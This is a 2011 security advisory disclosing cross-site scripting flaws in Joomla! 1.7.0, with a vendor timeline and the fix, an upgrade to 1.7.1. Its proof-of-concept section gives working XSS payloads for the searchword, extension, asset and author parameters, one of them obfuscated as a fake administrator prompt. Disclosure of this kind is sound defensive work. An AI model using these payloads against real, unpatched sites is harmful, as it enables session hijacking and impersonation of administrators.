Joomla! 1.7.0 | Multiple Cross Site Scripting (XSS) Vulnerabilities

1. OVERVIEW

Joomla! 1.7.0 (stable version) is vulnerable to multiple Cross Site
Scripting issues.

2. BACKGROUND

Joomla is a free and open source content management system (CMS) for
publishing content on the World Wide Web and intranets. It comprises a
model–view–controller (MVC) Web application framework that can also be
used independently.
Joomla is written in PHP, uses object-oriented programming (OOP)
techniques and software design patterns, stores data in a MySQL
database, and includes features such as page caching, RSS feeds,
printable versions of pages, news flashes, blogs, polls, search, and
support for language internationalization.

3. VULNERABILITY DESCRIPTION

Several parameters (searchword, extension, asset, author ) in Joomla!
Core components are not properly sanitized upon submission to the
/index.php url, which allows attacker to conduct Cross Site Scripting
attack. This may allow an attacker to create a specially crafted URL
that would execute arbitrary script code in a victim's browser.

4. VERSION AFFECTED

1.7.0 <=

5. PROOF-OF-CONCEPT/EXPLOIT

component: com_search, parameter: searchword (Browser: IE, Konqueror)

[REQUEST]
POST /joomla17_noseo/index.php HTTP/1.1
Host: localhost
Accept: /
Accept-Language: en
User-Agent: MSIE 8.0
Connection: close
Referer: http://localhost/joomla17_noseo
Content-Type: application/x-www-form-urlencoded
Content-Length: 456

task=search&Itemid=435&searchword=Search';onunload=function(){x=confirm(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,97,32,109,101,115,115,97,103,101,32,102,114,111,109,32,65,100,109,105,110,105,115,116,114,97,116,111,114,33,10,68,111,32,121,111,117,32,119,97,110,116,32,116,111,32,103,111,32,116,111,32,73,110,98,111,120,63));alert(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,88,83,83,33));};//xsssssssssss&option=com_search
[/REQUEST]

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

User Login is required to execute the following XSSes.

Parameter: extension, Component: com_categories

http://localhost/joomla17_noseo/administrator/index.php?option=com_categories&amp;extension=com_content&#37;20&#37;22onmouseover=&#37;22alert&#37;28/XSS/&#37;29&#37;22style=&#37;22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;&#37;22&#37;20x=&#37;22

Parameter: asset , Component: com_media

http://localhost/joomla17_noseo/administrator/index.php?option=com_media&amp;view=images&amp;tmpl=component&amp;e_name=jform_articletext&amp;asset=1&#37;22&#37;20onmouseover=&#37;22alert&#37;28/XSS/&#37;29&#37;22style=&#37;22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;&#37;22x=&#37;22&amp;author=

Parameter: author, Component: com_media

http://localhost/joomla17_noseo/administrator/index.php?option=com_media&amp;view=images&amp;tmpl=component&amp;e_name=jform_articletext&amp;asset=&amp;author=1&#37;22&#37;20onmouseover=&#37;22alert&#37;28/XSS/&#37;29&#37;22style=&#37;22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;&#37;22x=&#37;22

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

6. IMPACT

Attackers can compromise currently logged-in user/administrator
session and impersonate arbitrary user actions available under
/administrator/ functions.

7. SOLUTION

Upgrade to Joomla! 1.7.1-stable or higher.

8. VENDOR

Joomla! Developer Team
http://www.joomla.org

9. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.

10. DISCLOSURE TIME-LINE

2011-07-29: notified vendor
2011-09-26: patched version, 1.7.1-stable, released
2011-09-29: vulnerability disclosed

11. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/joomla/core/&#37;5Bjoomla_1.7.0-stable&#37;5D_cross_site_scripting&#37;28XSS&#37;29
Vendor Advisory URLs:
http://developer.joomla.org/security/news/367-20110901-core-xss-vulnerability
http://developer.joomla.org/security/news/368-20110902-core-xss-vulnerability

#yehg [2011-09-29]